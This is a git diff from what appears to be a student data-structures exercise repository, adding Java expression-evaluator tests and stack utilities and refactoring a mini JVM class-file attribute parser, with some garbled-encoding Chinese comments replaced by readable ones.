diff --git a/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/expr/InfixExprTest.java b/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/expr/InfixExprTest.java
new file mode 100644
index 0000000000..d22f51a98b
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/expr/InfixExprTest.java
@@ -0,0 +1,48 @@
+package test.com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coding.basic.stack.expr.InfixExpr;
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+	}
+}
diff --git a/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/expr/PostfixExprTest.java b/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..97ec425a7b
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/expr/PostfixExprTest.java
@@ -0,0 +1,38 @@
+package test.com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coding.basic.stack.expr.PostfixExpr;
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+}
diff --git a/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/expr/PrefixExprTest.java b/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..e866223a4e
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/expr/PrefixExprTest.java
@@ -0,0 +1,46 @@
+package test.com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coding.basic.stack.expr.PrefixExpr;
+
+public class PrefixExprTest {
+	
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+		
+		
+	}
+	
+}
diff --git a/group12/247565311/structure/week2/ArrayUtilTest.java b/group12/247565311/structure/week2/ArrayUtilTest.java
index c1b414d725..3d249b7225 100644
--- a/group12/247565311/structure/week2/ArrayUtilTest.java
+++ b/group12/247565311/structure/week2/ArrayUtilTest.java
@@ -8,7 +8,6 @@ public class ArrayUtilTest {
     ArrayUtil u = null;
 	@Before
 	public void setUp() throws Exception {
-		System.out.println("��ʼһ���µIJ���");
 		u = new ArrayUtil();
 	}
 
diff --git a/group12/247565311/structure/week6/StackUtil.java b/group12/247565311/structure/week6/StackUtil.java
index 9895f02f30..4529372e4c 100644
--- a/group12/247565311/structure/week6/StackUtil.java
+++ b/group12/247565311/structure/week6/StackUtil.java
@@ -2,20 +2,10 @@
 import java.util.Stack;
 public class StackUtil {
 	
-	public static void bad_reverse(Stack<Integer> s) {
-		if(s == null || s.isEmpty()){
-			return;
-		}
-		Stack<Integer> tmpStack = new Stack();
-		while(!s.isEmpty()){
-			tmpStack.push(s.pop());
-		}
-		s = tmpStack;
-	}
-	
+
     /**
-    * 閸嬪洩顔曢弽鍫滆厬閻ㄥ嫬鍘撶槐鐘虫ЦInteger, 娴犲孩鐖ゆい璺哄煂閺嶅牆绨抽弰锟� 5,4,3,2,1 鐠嬪啰鏁ょ拠銉︽煙濞夋洖鎮楅敍锟介崗鍐濞嗏�绨崣妯硅礋: 1,2,3,4,5
-    * 濞夈劍鍓伴敍姘涧閼虫垝濞囬悽鈯縯ack閻ㄥ嫬鐔�張顒佹惙娴ｆ粣绱濋崡纭僽sh,pop,peek,isEmpty閿涳拷閸欘垯浜掓担璺ㄦ暏閸欙箑顦绘稉锟介嚋閺嶅牊娼垫潏鍛И
+    * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	* 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
     */
     public static void reverse(Stack<Integer> s){
         if(s == null || s.isEmpty()) return;
@@ -27,22 +17,26 @@ public static void reverse(Stack<Integer> s){
         }
         while(!s1.isEmpty())
             s.push(s1.pop());
+        
         for(int i=0;i<size;i++){
             Integer integer = s.pop();
-            while(s.size()>i)
+            int index = 1;
+            while(index+i<size){
+                index += 1;
                 s1.push(s.pop());
+            }
             s.push(integer);
-            while(s1.size()>0)
+            while(!s1.isEmpty())
                 s.push(s1.pop());
         }
     }
-    // 閫氳繃閫掑綊鍙互涓嶄娇鐢ㄥ爢鏍堝畬鎴愯繖涓�姛鑳�
+    // 原地翻转栈也可以使用递归的方式，就是不好理解
 	public static void reverse2(Stack<Integer> s) {
 		if(s == null || s.isEmpty()){
 			return;
 		}
 		Integer top = s.pop();
-		reverse(s);
+		reverse2(s);
 		addToBottom(s,top);
 	}
 	public static void addToBottom(Stack<Integer> s,  Integer value){
@@ -55,7 +49,7 @@ public static void addToBottom(Stack<Integer> s,  Integer value){
 		}
 	}
 	/**
-	 * 閸掔娀娅庨弽鍫滆厬閻ㄥ嫭鐓囨稉顏勫帗缁憋拷濞夈劍鍓伴敍姘涧閼虫垝濞囬悽鈯縯ack閻ㄥ嫬鐔�張顒佹惙娴ｆ粣绱濋崡纭僽sh,pop,peek,isEmpty閿涳拷閸欘垯浜掓担璺ㄦ暏閸欙箑顦绘稉锟介嚋閺嶅牊娼垫潏鍛И
+	 * 移出栈中的某个元素，只能使用push,pop,peek,isEmpty这几种操作
 	 * 
 	 * @param o
 	 */
@@ -76,7 +70,7 @@ public static void remove(Stack s,Object o) {
 	}
 
 	/**
-	 * 娴犲孩鐖ゆい璺哄絿瀵版en娑擃亜鍘撶槐锟�閸樼喐娼甸惃鍕垽娑擃厼鍘撶槐鐘辩箽閹镐椒绗夐崣锟�	 * 濞夈劍鍓伴敍姘涧閼虫垝濞囬悽鈯縯ack閻ㄥ嫬鐔�張顒佹惙娴ｆ粣绱濋崡纭僽sh,pop,peek,isEmpty閿涳拷閸欘垯浜掓担璺ㄦ暏閸欙箑顦绘稉锟介嚋閺嶅牊娼垫潏鍛И
+	 * 获取栈顶的len个元素，只能使用push,pop,peek,isEmpty这几种操作来完成
 	 * @param len
 	 * @return
 	 */
@@ -98,10 +92,10 @@ public static Object[] getTop(Stack s,int len) {
 		return result;
 	}
 	/**
-	 * 鐎涙顑佹稉鐬�閸欘垵鍏橀崠鍛儓鏉╂瑤绨虹�妤冾儊閿涳拷 ( ) [ ] { }, a,b,c... x,yz
-	 * 娴ｈ法鏁ら崼鍡樼垽濡拷鐓＄�妤冾儊娑撶灚娑擃厾娈戦幏顒�娇閺勵垯绗夐弰顖涘灇鐎电懓鍤悳鎵畱閵嗭拷
-	 * 娓氬顩 = "([e{d}f])" , 閸掓瑨顕氱�妤冾儊娑撹弓鑵戦惃鍕閸欓攱妲搁幋鎰嚠閸戣櫣骞囬敍锟界拠銉︽煙濞夋洝绻戦崶鐎焤ue
-	 * 婵″倹鐏�s = "([b{x]y})", 閸掓瑨顕氱�妤冾儊娑撹弓鑵戦惃鍕閸欒渹绗夐弰顖涘灇鐎电懓鍤悳鎵畱閿涳拷鐠囥儲鏌熷▔鏇＄箲閸ョ�alse;
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
 	 * @param s
 	 * @return
 	 */
diff --git a/group12/247565311/structure/week6/StackUtilTest.java b/group12/247565311/structure/week6/StackUtilTest.java
index f1a8aec8ac..74c10b3ffd 100644
--- a/group12/247565311/structure/week6/StackUtilTest.java
+++ b/group12/247565311/structure/week6/StackUtilTest.java
@@ -1,13 +1,12 @@
 package structure.week6;
 
-import static org.junit.Assert.fail;
-
 import java.util.Stack;
 
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
+
 public class StackUtilTest {
 
 	@Before
@@ -24,11 +23,8 @@ public void testAddToBottom() {
 		s.push(1);
 		s.push(2);
 		s.push(3);
-		
 		StackUtil.addToBottom(s, 0);
-		
 		Assert.assertEquals("[0, 1, 2, 3]", s.toString());
-		
 	}
 	@Test
 	public void testReverse() {
@@ -74,5 +70,4 @@ public void testIsValidPairs() {
 		Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
 		Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
 	}
-
 }
\ No newline at end of file
diff --git a/group12/247565311/structure/week7/InfixExpr.java b/group12/247565311/structure/week7/InfixExpr.java
index 4fc4d13fbe..1cb09a5d0b 100644
--- a/group12/247565311/structure/week7/InfixExpr.java
+++ b/group12/247565311/structure/week7/InfixExpr.java
@@ -1,17 +1,20 @@
 package structure.week7;
-// 姹傝В琛ㄨ揪寮忓瓧绗︿覆锛岄鍏堝皢琛ㄨ揪寮忓垱寤烘垚涓�５琛ㄨ揪寮忔爲锛岄渶瑕佹牴鎹繍绠楃鐨勪紭鍏堢骇鏉ュ垱寤�
+import structure.week1.Stack;
+// 使用表达式树来完成这个运算
 public class InfixExpr {
 	String expr = null;
 	Element getElem = null;
 	public InfixExpr(String expr) {
-		this.expr = expr;
+		this.expr = "0+"+expr; // 由于遇到优先级变化会生成单独节点，必须以最低优先级开头
         getElem = new Element(expr);
 	}
 	public float evaluate() throws Exception{
-        Node node = new Node('\0',getElem.getNextNum());
-        Node root = createNode(node);
+        Node root = createNode(null);
 		return (float) getValue(root);
 	}
+	public double evaluate_stack(){
+		return 0.0;
+	}
     class Element{
         private int index;
         private String str;
@@ -19,7 +22,35 @@ public Element(String _str){
             index = 0;
             str = _str;
         }
-        public double getNextNum(){
+        public double peekNextNum(){
+            int lastindex = index;
+            double resl = 0,resr=0;
+            int fbits = 0;
+            char ch = str.charAt(index);
+            boolean hasp = false;
+            while(ch=='.' || (ch<='9' && '0'<=ch)){
+                index += 1;
+                if(ch == '.') hasp = true;
+                else{
+                    if(hasp){
+                        fbits -= 1;
+                        resr += (double)(ch-'0') * Math.pow(10,fbits);
+                    }else{
+                        resl *= 10;
+                        resl += (ch-'0');
+                    }
+                }
+                if(hasNext()) ch = str.charAt(index);
+                else break;
+            }
+            index = lastindex;
+            return resl+resr;
+        }
+        public double getNextNum() throws Exception{
+            if(!hasNext()) {
+            	int a = index -2;
+            	throw new Exception("表达式格式错误，在位置"+a+"处缺少操作数。");
+            }
             double resl = 0,resr=0;
             int fbits = 0;
             char ch = str.charAt(index);
@@ -41,6 +72,18 @@ public double getNextNum(){
             }
             return resl+resr;
         }
+        public char peekNextOper(){
+            int lastindex = index;
+            char ch = '\0';
+            while(hasNext()){
+                ch = str.charAt(index);
+                index += 1;
+                if(ch=='+'||ch=='-'||ch=='*'||ch=='/') break;
+                ch = '\0';
+            }
+            index = lastindex;
+            return ch;
+        }
         public char getNextOper(){
             if(hasNext()){
                 char ch = str.charAt(index);
@@ -68,23 +111,37 @@ class Node{
             val =v;
         }
     }
-    private Node createNode(Node root){
+    private Node createNode(Node node) throws Exception{
+        if(getElem.peekNextOper() == '\0') return node;
+        if(node == null){
+            node = new Node('\0',getElem.getNextNum());
+        }
         char ch = getElem.getNextOper();
-        if(ch == '\0'){
-            
+        Node root = new Node(ch,0);
+        root.left = node;
+        char chn = getElem.peekNextOper();
+        if(operUpDowm(ch,chn)<0){ // 操作符优先级提升
+            root.right = createNode(null);
+        }else if(operUpDowm(ch,chn)>0){ // 操作符优先级下降
+            root.right = new Node('\0',getElem.getNextNum());
+            return root;    // 这里是遍历完一个连续乘除法，需要返回节点，考虑5-2*3-4，不返回会导致5-2*3+4
         }else{
-            
+            root.right = new Node('\0',getElem.getNextNum());
         }
-        Node node = new Node(getElem.getNextOper(),0);
-        node.left = root;
-        node.right = null;
-        // todo 
-        return node;
+        return createNode(root);
+    }
+    private int operUpDowm(char c1,char c2){
+        int temp1 = 0,temp2=0;
+        if(c1=='+'||c1=='-')temp1 = 0;
+        else if(c1=='*'||c1=='/')temp1 = 1;
+        if(c2=='+'||c2=='-')temp2 = 0;
+        else if(c2=='*'||c2=='/')temp2 = 1;
+        return temp1-temp2;
     }
     private double getValue(Node root) throws Exception{
-        if(root == null) throw new Exception("表达式非法");
+        if(root == null) throw new Exception("解析表达式出现异常");
         switch(root.op){
-          case '+':
+        case '+':
             return getValue(root.left)+getValue(root.right);
 		case '-':
             return getValue(root.left)-getValue(root.right);
@@ -92,8 +149,10 @@ private double getValue(Node root) throws Exception{
             return getValue(root.left)*getValue(root.right);
 		case '/':
             return getValue(root.left)/getValue(root.right);
-		default:
+        case '\0':
             return root.val;
+		default:
+            throw new Exception("目前还不支持 "+new StringBuilder().append(root.op).toString()+" 运算符。");
         }
     }
 }
diff --git a/group12/247565311/structure/week7/InfixExprTest.java b/group12/247565311/structure/week7/InfixExprTest.java
index 21680594de..730e623126 100644
--- a/group12/247565311/structure/week7/InfixExprTest.java
+++ b/group12/247565311/structure/week7/InfixExprTest.java
@@ -6,58 +6,66 @@
 
 public class InfixExprTest {
 
-	@Before
-	public void setUp() throws Exception {
-	}
-	@After
-	public void tearDown() throws Exception {
-	}
-	@Test
-	public void testEvaluate() {
-		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
-		{
-			InfixExpr expr = new InfixExpr("2+3*4+5");
-			try {
-				Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
-			} catch (Exception e) {
-				e.printStackTrace();
-			}
-		}
+    @Before
+    public void setUp() throws Exception {
+    }
+    @After
+    public void tearDown() throws Exception {
+    }
+    @Test
+    public void testEvaluate() {
+        //InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+        {
+            InfixExpr expr = new InfixExpr("2+3*4+5");
+            try {
+                Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
         
-		{
-			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
-			try {
-				Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
-			} catch (Exception e) {
-				e.printStackTrace();
-			}
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("3*20/2");
-			try {
-				Assert.assertEquals(30, expr.evaluate(), 0.001f);
-			} catch (Exception e) {
-				e.printStackTrace();
-			}
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("20/2*3");
-			try {
-				Assert.assertEquals(30, expr.evaluate(), 0.001f);
-			} catch (Exception e) {
-				e.printStackTrace();
-			}
-		}
+        {
+            InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+            try {
+                Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
         
-		{
-			InfixExpr expr = new InfixExpr("10-30+50");
-			try {
-				Assert.assertEquals(30, expr.evaluate(), 0.001f);
-			} catch (Exception e) {
-				e.printStackTrace();
-			}
-		}
-	}
+        {
+            InfixExpr expr = new InfixExpr("3*20/2");
+            try {
+                Assert.assertEquals(30, expr.evaluate(), 0.001f);
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
+        
+        {
+            InfixExpr expr = new InfixExpr("20/2*3");
+            try {
+                Assert.assertEquals(30, expr.evaluate(), 0.001f);
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
+        
+        {
+            InfixExpr expr = new InfixExpr("10-30+50");
+            try {
+                Assert.assertEquals(30, expr.evaluate(), 0.001f);
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
+        {
+            InfixExpr expr = new InfixExpr("4*2*5+5-4*5/5*3/2*4-2+4*2+2/1");
+            try {
+                Assert.assertEquals(29, expr.evaluate(), 0.001f);
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
+    }
 }
\ No newline at end of file
diff --git a/group12/247565311/week567_miniJVM/attr/AttrFactory.java b/group12/247565311/week567_miniJVM/attr/AttrFactory.java
new file mode 100644
index 0000000000..71992f4302
--- /dev/null
+++ b/group12/247565311/week567_miniJVM/attr/AttrFactory.java
@@ -0,0 +1,80 @@
+package week567_miniJVM.attr;
+
+import week567_miniJVM.clz.ClassFile;
+import week567_miniJVM.constant.ConstantInfo;
+import week567_miniJVM.constant.UTF8Info;
+import week567_miniJVM.loader.ByteCodeIterator;
+import week567_miniJVM.attr.LineNumberTable;
+
+public class AttrFactory{
+    private static AttrFactory instance = new AttrFactory();
+    public static AttrFactory Instance(){
+        return instance;
+    }
+    public AttributeInfo parse(ClassFile clzFile,ByteCodeIterator iter){
+        int attrNameIndex = iter.nextU2ToInt();
+        ConstantInfo info = clzFile.getConstantPool().getConstantInfo(attrNameIndex);
+        if(info.getType()==1&&"Code".equals(((UTF8Info) info).getValue())){
+        	int attrLen = iter.nextU4ToInt();
+        	int maxStack = iter.nextU2ToInt();
+        	int maxLocal = iter.nextU2ToInt();
+        	int codeLen = iter.nextU4ToInt();
+        	String code = iter.nextUxToHexString(codeLen);
+        	CodeAttr codeattr = new CodeAttr(attrNameIndex,attrLen,maxStack,maxLocal,codeLen,code);
+        	
+        	int exceptLen = iter.nextU2ToInt(); // �쳣����
+        	while(exceptLen>0){
+        		exceptLen -= 1;
+        		int startPc = iter.nextU2ToInt();
+        		int endPc = iter.nextU2ToInt();
+        		int handlerPc = iter.nextU2ToInt();
+        		int catchType = iter.nextU2ToInt();
+        		// TODO
+        	}
+        	int attributeLen = iter.nextU2ToInt(); // �����»������Եĸ���
+        	while(attributeLen>0){
+        		attributeLen -= 1;
+        		AttributeInfo chattr = AttrFactory.Instance().parse(clzFile, iter);
+        		codeattr.addAttr(chattr);
+        	}
+        	return codeattr;
+        }else if(info.getType()==1&&"LineNumberTable".equals(((UTF8Info) info).getValue())){
+        	int attrLen = iter.nextU4ToInt();
+        	int lineNum = iter.nextU2ToInt();
+        	LineNumberTable linetable = new LineNumberTable(attrNameIndex,lineNum);
+        	while(lineNum>0){
+        		lineNum -= 1;
+        		int startPc = iter.nextU2ToInt();
+        		int lineNumber = iter.nextU2ToInt();
+        		linetable.addLineNumberItem(startPc,lineNumber);
+        	}
+        	return linetable;
+        }else if(info.getType()==1&&"LocalVariableTable".equals(((UTF8Info) info).getValue())){
+        	int attrLen = iter.nextU4ToInt();
+        	int localVarNum = iter.nextU2ToInt();
+        	LocalVariableTable lvartable = new LocalVariableTable(attrNameIndex,localVarNum);
+        	while(localVarNum>0){
+        		localVarNum -= 1;
+        		int startPc = iter.nextU2ToInt();
+        		int length = iter.nextU2ToInt();
+        		int nameIndex = iter.nextU2ToInt();
+        		int descIndex = iter.nextU2ToInt();
+        		int index = iter.nextU2ToInt();
+        		LocalVariableItem item = new LocalVariableItem(startPc,length,nameIndex,descIndex,index);
+        	    lvartable.addLocalVariableItem(item);
+        	}
+        	return lvartable;
+        }else if(info.getType()==1&&"StackMapTable".equals(((UTF8Info) info).getValue())){
+        	int attrLen = iter.nextU4ToInt();
+        	int entryNum = iter.nextU2ToInt();
+        	StackMapTable stacktable = new StackMapTable(attrNameIndex,entryNum);
+        	stacktable.parse(iter);
+        	//while(entryNum>0){
+        	//	entryNum -= 1;
+        		
+        	//}
+        	return stacktable;
+        }
+    	return null;
+    }
+}
\ No newline at end of file
diff --git a/group12/247565311/week567_miniJVM/attr/AttributeInfo.java b/group12/247565311/week567_miniJVM/attr/AttributeInfo.java
index e97ebe0065..fb310678bf 100644
--- a/group12/247565311/week567_miniJVM/attr/AttributeInfo.java
+++ b/group12/247565311/week567_miniJVM/attr/AttributeInfo.java
@@ -1,7 +1,6 @@
 package week567_miniJVM.attr;
 
-
-
+import structure.week1.ArrayList;
 
 public abstract class AttributeInfo {
 	public static final String CODE = "Code";
@@ -12,13 +11,19 @@ public abstract class AttributeInfo {
 	public static final String STACK_MAP_TABLE = "StackMapTable";
 	int attrNameIndex;				
 	int attrLen ;
-	public AttributeInfo(int attrNameIndex, int attrLen) {
-		
-		this.attrNameIndex = attrNameIndex;
+	private String attrName;
+	ArrayList<AttributeInfo> attrs = new ArrayList<AttributeInfo>();
+	public AttributeInfo( int attrNameIndex,int attrLen,String attrname) {
+	    this.attrNameIndex = attrNameIndex;
 		this.attrLen = attrLen;
+		this.attrName = attrname;
+	}
+	public String getAttrName(){
+		return attrName;
+	}
+	public void addAttr(AttributeInfo attrinfo){
+		attrs.add(attrinfo);
 	}
-	
-	
 }
 
 
diff --git a/group12/247565311/week567_miniJVM/attr/CodeAttr.java b/group12/247565311/week567_miniJVM/attr/CodeAttr.java
index b32d6aada9..15e0a027f2 100644
--- a/group12/247565311/week567_miniJVM/attr/CodeAttr.java
+++ b/group12/247565311/week567_miniJVM/attr/CodeAttr.java
@@ -1,13 +1,10 @@
 
-
-
 package week567_miniJVM.attr;
 
 import week567_miniJVM.clz.ClassFile;
 import week567_miniJVM.constant.ConstantPool;
 import week567_miniJVM.loader.ByteCodeIterator;
 
-
 public class CodeAttr extends AttributeInfo {
 	private int maxStack ;
 	private int maxLocals ;
@@ -16,46 +13,40 @@ public class CodeAttr extends AttributeInfo {
 	public String getCode() {
 		return code;
 	}
-
-	//private ByteCodeCommand[] cmds ;
-	//public ByteCodeCommand[] getCmds() {
-	//	return cmds;
-	//}
-	private LineNumberTable lineNumTable;
-	private LocalVariableTable localVarTable;
-	private StackMapTable stackMapTable;
 	
 	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
-		super(attrNameIndex, attrLen);
+		super(attrNameIndex, attrLen,AttributeInfo.CODE);
 		this.maxStack = maxStack;
 		this.maxLocals = maxLocals;
 		this.codeLen = codeLen;
 		this.code = code;
-		//this.cmds = cmds;
 	}
 
-	public void setLineNumberTable(LineNumberTable t) {
-		this.lineNumTable = t;
+	public LineNumberTable getLineNumberTable() {
+		for(int i=0;i<attrs.size();i++){
+			if(attrs.get(i).getAttrName().equals(AttributeInfo.LINE_NUM_TABLE)){
+				return (LineNumberTable)(attrs.get(i));
+			}
+		}
+        return null;
 	}
 
-	public void setLocalVariableTable(LocalVariableTable t) {
-		this.localVarTable = t;		
-	}
-	
-	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
-		
-		
-		return null;
+	public LocalVariableTable getLocalVariableTable() {
+		for(int i=0;i<attrs.size();i++){
+			if(attrs.get(i).getAttrName().equals(AttributeInfo.LOCAL_VAR_TABLE)){
+				return (LocalVariableTable)(attrs.get(i));
+			}
+		}
+        return null;
 	}
-	private void setStackMapTable(StackMapTable t) {
-		this.stackMapTable = t;
-		
+	public StackMapTable getStackMapTable() {
+		for(int i=0;i<attrs.size();i++){
+			if(attrs.get(i).getAttrName().equals(AttributeInfo.STACK_MAP_TABLE)){
+				return (StackMapTable)(attrs.get(i));
+			}
+		}
+        return null;
 	}
-
-	
-	
-	
-	
 }
 
 
diff --git a/group12/247565311/week567_miniJVM/attr/LineNumberTable.java b/group12/247565311/week567_miniJVM/attr/LineNumberTable.java
index 1160f1b274..3daca7afd2 100644
--- a/group12/247565311/week567_miniJVM/attr/LineNumberTable.java
+++ b/group12/247565311/week567_miniJVM/attr/LineNumberTable.java
@@ -12,6 +12,10 @@ public class LineNumberTable extends AttributeInfo {
 	private static class LineNumberItem{
 		int startPC;
 		int lineNum;
+		public LineNumberItem(int startpc,int linenum){
+			this.startPC = startpc;
+			this.lineNum = linenum;
+		}
 		public int getStartPC() {
 			return startPC;
 		}
@@ -25,21 +29,13 @@ public void setLineNum(int lineNum) {
 			this.lineNum = lineNum;
 		}
 	}
-	public void addLineNumberItem(LineNumberItem item){
-		this.items.add(item);
+	public void addLineNumberItem(int startpc,int linenum){
+		this.items.add(new LineNumberItem(startpc,linenum));
 	}
 	public LineNumberTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);
-		
-	}
-	
-	public static LineNumberTable parse(ByteCodeIterator iter){
+		super(attrNameIndex, attrLen,AttributeInfo.LINE_NUM_TABLE);
 		
-		return null;
 	}
-	
-	
-
 }
 
 
diff --git a/group12/247565311/week567_miniJVM/attr/LocalVariableItem.java b/group12/247565311/week567_miniJVM/attr/LocalVariableItem.java
index 5ce8ad8810..2b3b6a4ee2 100644
--- a/group12/247565311/week567_miniJVM/attr/LocalVariableItem.java
+++ b/group12/247565311/week567_miniJVM/attr/LocalVariableItem.java
@@ -7,6 +7,13 @@ public class LocalVariableItem {
 	private int nameIndex;
 	private int descIndex;
 	private int index;
+	public LocalVariableItem(int startpc,int len,int nameindex,int descindex,int index){
+		startPC = startpc;
+		length = len;
+		nameIndex = nameindex;
+		descIndex = descindex;
+		this.index = index;
+	}
 	public int getStartPC() {
 		return startPC;
 	}
diff --git a/group12/247565311/week567_miniJVM/attr/LocalVariableTable.java b/group12/247565311/week567_miniJVM/attr/LocalVariableTable.java
index c8dbf11b70..5541226e11 100644
--- a/group12/247565311/week567_miniJVM/attr/LocalVariableTable.java
+++ b/group12/247565311/week567_miniJVM/attr/LocalVariableTable.java
@@ -15,16 +15,16 @@ public class LocalVariableTable extends AttributeInfo{
 	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
 	
 	public LocalVariableTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
+		super(attrNameIndex, attrLen,AttributeInfo.LOCAL_VAR_TABLE);		
 	}
-	
 	public static LocalVariableTable parse(ByteCodeIterator iter){
 		
 		return null;
 	}
-	private void addLocalVariableItem(LocalVariableItem item) {
+	public void addLocalVariableItem(LocalVariableItem item) {
 		this.items.add(item);		
 	}
+
 	
 	
 }
diff --git a/group12/247565311/week567_miniJVM/attr/StackMapTable.java b/group12/247565311/week567_miniJVM/attr/StackMapTable.java
index c6b72f2655..aaf8d2944d 100644
--- a/group12/247565311/week567_miniJVM/attr/StackMapTable.java
+++ b/group12/247565311/week567_miniJVM/attr/StackMapTable.java
@@ -9,7 +9,7 @@ public class StackMapTable extends AttributeInfo{
 	private String originalCode;
 
 	public StackMapTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
+		super(attrNameIndex, attrLen,AttributeInfo.STACK_MAP_TABLE);		
 	}
 
 	public static StackMapTable parse(ByteCodeIterator iter){
diff --git a/group12/247565311/week567_miniJVM/clz/ClassFile.java b/group12/247565311/week567_miniJVM/clz/ClassFile.java
index 91226364b8..5db5b1dba8 100644
--- a/group12/247565311/week567_miniJVM/clz/ClassFile.java
+++ b/group12/247565311/week567_miniJVM/clz/ClassFile.java
@@ -7,65 +7,48 @@
 import structure.week1.ArrayList;
 
 public class ClassFile {
-	
-	private int minorVersion;
-	private int majorVersion;
-	
-	private AccessFlag accessFlag;
-	private ClassIndex clzIndex;
-	private ConstantPool pool;
-	
-	
+    public int minorVersion,majorVersion;
+	private AccessFlag accessFlag = null;
+	private ClassIndex clzIndex = null;
+    private ConstantPool constPool = null;
+    private ArrayList<Method> methods = null;
+    private ArrayList<Field> fields = null;
+    
 	public ClassIndex getClzIndex() {
 		return clzIndex;
 	}
+    public void setClzIndex(ClassIndex clz){
+        clzIndex = clz;
+    }
 	public AccessFlag getAccessFlag() {
 		return accessFlag;
 	}
-	public void setAccessFlag(AccessFlag accessFlag) {
-		this.accessFlag = accessFlag;
-	}
-	
-	
-	
-	public ConstantPool getConstantPool() {		
-		return pool;
+    public void setAccessFlag(AccessFlag acsFlag){
+        accessFlag = acsFlag;
+    }
+	public ConstantPool getConstantPool() {
+		return constPool;
 	}
+    public void setConstantPool(ConstantPool pool){
+        constPool = pool;
+    }
